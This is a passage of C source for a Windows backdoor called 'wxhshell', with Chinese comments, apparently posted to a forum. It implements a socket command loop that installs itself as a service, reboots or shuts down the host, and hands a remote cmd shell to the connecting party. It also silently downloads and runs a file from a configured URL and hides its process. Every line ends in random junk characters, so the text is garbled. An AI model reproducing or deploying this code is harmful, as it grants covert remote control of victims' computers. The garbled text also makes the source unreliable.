    switch(cmd[0]) { ]Sa#g&}T>  
  ?Fn y_{&^H  
  // 帮助 V;"2=)X  
  case '?': { X';qcn_^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Ww}xmq1H  
    break; '/9j"mIA9$  
  } U:n~S  
  // 安装 CLVT5pj='  
  case 'i': { _|0#  
    if(Install()) &dmIv[LU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.]EM*p?GV  
    else %7aJSuQN%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *GBV[D[G,  
    break; (@xC-*  
    } ?hc=w2Ci  
  // 卸载 %N ~c9B  
  case 'r': { )e`9U.C  
    if(Uninstall()) A^X\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ('C)S)98C  
    else ecz-jZ! `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y,Z$U| U  
    break; stUv!   
    } hLgX0QV  
  // 显示 wxhshell 所在路径 m?B=?;B9#  
  case 'p': { `^hA&/1  
    char svExeFile[MAX_PATH]; :.XlAQR~b  
    strcpy(svExeFile,"\n\r");  ~,&8)1  
      strcat(svExeFile,ExeFile); o4EY2  
        send(wsh,svExeFile,strlen(svExeFile),0); ;w"h n*  
    break; P![ZO6`:W'  
    } ,e;,+w=~E  
  // 重启 @S}j=k  
  case 'b': { n/Fxjf0W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f~a 7E;y  
    if(Boot(REBOOT)) e.DN,rhqI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #I0FWZ>W  
    else { NcF>}f,}\  
    closesocket(wsh); $3>Rw/,  
    ExitThread(0); %po;ih$jr*  
    } ^ [HUtq  
    break; .u#Hg'oP  
    } ; I-6H5  
  // 关机 T5ky:{Y(  
  case 'd': { R$ +RTG:E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ojf6@p_  
    if(Boot(SHUTDOWN)) <5pNFj}0;X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tr:@Dv.O  
    else { oYf+I  
    closesocket(wsh); EHn!ZrQgh  
    ExitThread(0); :6t73\O  
    } h;+O96V4.  
    break; > TCit1yD  
    } G`0{31us  
  // 获取shell rCA!b"C2  
  case 's': { UsU Ri  
    CmdShell(wsh); !w%c= V]tV  
    closesocket(wsh); 8gE p5  
    ExitThread(0); .txtt?ZF2  
    break; 6IT6EkiT  
  } Kn5C  
  // 退出 y|MhV/P04  
  case 'x': { 4To$!=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e\[q3J  
    CloseIt(wsh); b' M"To@  
    break; lrKT?siB  
    } ;0oL*d[1Z  
  // 离开 JB'tc!!*  
  case 'q': { z,m3U(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _oBx:G6E  
    closesocket(wsh); ]] 0M  
    WSACleanup(); 86-Rm  
    exit(1); ?r&~(<^z  
    break; AhOBbss]q  
        } Vfy@?x= &  
  } p7`9 d1n  
  } _/>I-\xWA  
&0Y |pY  
  // 提示信息 a-,*iK{_u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -YQS\@?  
} ;k#_/c  
  } RbxQTM_:M  
YzZj=]\`b  
  return; -th.(eAx  
} CckfoJ 9  
&XCd2  
// shell模块句柄 iN'T^+um=  
int CmdShell(SOCKET sock) NkBvN\CQ  
{ wn_ >Vi1  
STARTUPINFO si; fuA] y4A  
ZeroMemory(&si,sizeof(si)); 9x4z m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ivl %%nY'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]SU)L5Dt;  
PROCESS_INFORMATION ProcessInfo; }\8-&VoY#X  
char cmdline[]="cmd"; _)Txg2?=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); By7lSbj  
  return 0; p.(+L^-=  
} 0H +nVR  
ojBdUG\  
// 自身启动模式 i.On{nB"k  
int StartFromService(void) 2&:z[d}~H  
{ )3e_H s+  
typedef struct oupWzjo  
{ yxpv;v:)=  
  DWORD ExitStatus; Z P|k3   
  DWORD PebBaseAddress; BRu}"29  
  DWORD AffinityMask; H'!OEZ  
  DWORD BasePriority; '*Dp2Y{7  
  ULONG UniqueProcessId; 0#Ug3_dfr  
  ULONG InheritedFromUniqueProcessId; *(r9c(xa  
}   PROCESS_BASIC_INFORMATION; ERK{smL  
_,K[kVn  
PROCNTQSIP NtQueryInformationProcess; DcaKGjp  
|;Jt * _  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /O.q4p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R{A$|Ipaq  
JleClB(2n/  
  HANDLE             hProcess; _IU5HT}2  
  PROCESS_BASIC_INFORMATION pbi; 6j {ynt  
85|u;Fxf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K-Pcew^?  
  if(NULL == hInst ) return 0; 1qn/*9W}=  
X.#9[3U+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FPK=Tr:b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VK*H1EH1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .tfal9  
Ex_dqko  
  if (!NtQueryInformationProcess) return 0; &_;=]t s  
?rt[ aK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z)*{bz]  
  if(!hProcess) return 0; lAA6tlc#C  
=<9Mv+Ry8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #huh!Mn  
p%bMfi*T  
  CloseHandle(hProcess); `]GL3cIh:  
ti1R6oSn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 67T.qX2I$  
if(hProcess==NULL) return 0; };9/J3]m  
k??CXW  
HMODULE hMod; 8_`C&vx  
char procName[255]; Txe*$T,(  
unsigned long cbNeeded; "X?Zw$gRud  
v?3xWXX,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o\Fv~^  
6A>bm{`c:  
  CloseHandle(hProcess); vOKNBR2  
oo]P}ra  
if(strstr(procName,"services")) return 1; // 以服务启动 (?,jnnub  
ESIJ QM-[+  
  return 0; // 注册表启动 H[pvC=O=  
} NzhWGr_x'  
sL TQm*jL  
// 主模块 ~qL/P 5*+  
int StartWxhshell(LPSTR lpCmdLine) ^zqQ8{oV  
{ Kt]vTn7!9  
  SOCKET wsl; Z{#3-O<a+n  
BOOL val=TRUE; [\Aws^fD_  
  int port=0; [Ax :gj  
  struct sockaddr_in door; ?AxB0d9z  
&dw=jHt  
  if(wscfg.ws_autoins) Install(); c@]G;>o  
D2 o|.e<r  
port=atoi(lpCmdLine); XD!}uDZ^  
W95q1f# 7  
if(port<=0) port=wscfg.ws_port; 7}c[GC)F  
%O[1yZh \  
  WSADATA data; FoYs<aER  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  v1?G  
Mt{cX,DS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d=vD Pf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v=dN$B5y3  
  door.sin_family = AF_INET; q:jv9eL.O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lQ [JA[  
  door.sin_port = htons(port); K'"s9b8  
Mjl,/-0 w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qnd] UUA^  
closesocket(wsl); _Y6Ezh.  
return 1; U/v)6:j)4R  
} %M^Q{` :5  
Ym -U{a  
  if(listen(wsl,2) == INVALID_SOCKET) {  =/ !A  
closesocket(wsl); 0@u{(m  
return 1; ~_ovQ4@  
} Ft:_6T%  
  Wxhshell(wsl); :m'(8s8  
  WSACleanup(); Bv*VNfUm  
%%wngiz\  
return 0; #t# S(A9)  
e cvZwL  
} 9/&1lFKJ  
RJT55Rv{  
// 以NT服务方式启动 l9y%@7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :G^4/A_  
{ '}>8+vU`  
DWORD   status = 0; Qd ?S~3XT  
  DWORD   specificError = 0xfffffff; f R2,NKM@  
oc-o>H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j~;y~Cx?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l<"B[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G[zysxd  
  serviceStatus.dwWin32ExitCode     = 0; mkBQ TQGT  
  serviceStatus.dwServiceSpecificExitCode = 0; .rDao]K  
  serviceStatus.dwCheckPoint       = 0; 8|hi2Qeu,c  
  serviceStatus.dwWaitHint       = 0; "4*QA0As  
&s\,+d0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^b.fci{1m  
  if (hServiceStatusHandle==0) return; <X97W\  
+@@( C9  
status = GetLastError(); 5':j=KQE_  
  if (status!=NO_ERROR) h=NXU9n%'  
{ q}g0-Da  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VF7H0XR/k5  
    serviceStatus.dwCheckPoint       = 0; wmP[\^c%$j  
    serviceStatus.dwWaitHint       = 0; `"iPJw14  
    serviceStatus.dwWin32ExitCode     = status; qX[C%  
    serviceStatus.dwServiceSpecificExitCode = specificError; LzB*d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jM'Fb.>~  
    return; D2:ShyYAS  
  } k5)IBO  
3VQmo\li  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RC/& dB  
  serviceStatus.dwCheckPoint       = 0; +fMW B  
  serviceStatus.dwWaitHint       = 0; Jx4~o{Z}c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7:.!R^5H  
} ;:)u rI?  
6H|T )  
// 处理NT服务事件,比如:启动、停止 \/y&l\ k)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %+ MYg^  
{ |ew:}e: k<  
switch(fdwControl) % <%r  
{ ,fm{ krE  
case SERVICE_CONTROL_STOP: :3}K$  
  serviceStatus.dwWin32ExitCode = 0; R*vfp?x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >4T7D My  
  serviceStatus.dwCheckPoint   = 0; MF::At[4   
  serviceStatus.dwWaitHint     = 0; k@9q5lu;T  
  { 2+LvlS)C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U4e9[=q`'  
  } z-S8s2.Fd  
  return; `3UvKqe  
case SERVICE_CONTROL_PAUSE: ]RW*3X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `zcpaE.@  
  break; 34vH+,!u  
case SERVICE_CONTROL_CONTINUE: -r{]9v2j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lWU? R  
  break; &G+:t)|S  
case SERVICE_CONTROL_INTERROGATE: \FyHIs  
  break; 3\P/4GK)  
}; ~^eC?F(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fhQ N;7  
} -]MZP:s  
O<0-`=W,a  
// 标准应用程序主函数 8O^z{Yh7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }GGH:v  
{ xSjs+Y;Mu  
sQY0Xys<4  
// 获取操作系统版本 Bq \WG=Fd  
OsIsNt=GetOsVer(); /9C>{29x!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jATN):8W  
4+0:(=>[%  
  // 从命令行安装 B|BJkY'  
  if(strpbrk(lpCmdLine,"iI")) Install(); & =vi]z:[  
z#olKBs  
  // 下载执行文件 DTx>^<Tk  
if(wscfg.ws_downexe) { M5LqZyY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 55x.Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); k%cT38V*  
} FBI^}^#_  
a^9}ceu?   
if(!OsIsNt) { &R}2/Mt  
// 如果时win9x,隐藏进程并且设置为注册表启动 /vFdhh  
HideProc(); `ve5>aw0_Y  
StartWxhshell(lpCmdLine); 4*+)D8  
} eN I6V/\`  
else uacVF[9|W  
  if(StartFromService()) , @6_sl  
  // 以服务方式启动 eZRu{`AF*  
  StartServiceCtrlDispatcher(DispatchTable); J,wpY$93  
else ?u M2|Nk  
  // 普通方式启动 mv9@Az9  
  StartWxhshell(lpCmdLine); qVJC O-K|  
^G(+sb[t  
return 0; #c2JWDH1F  
}
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只看该作者 1 发表于: 2006-10-10
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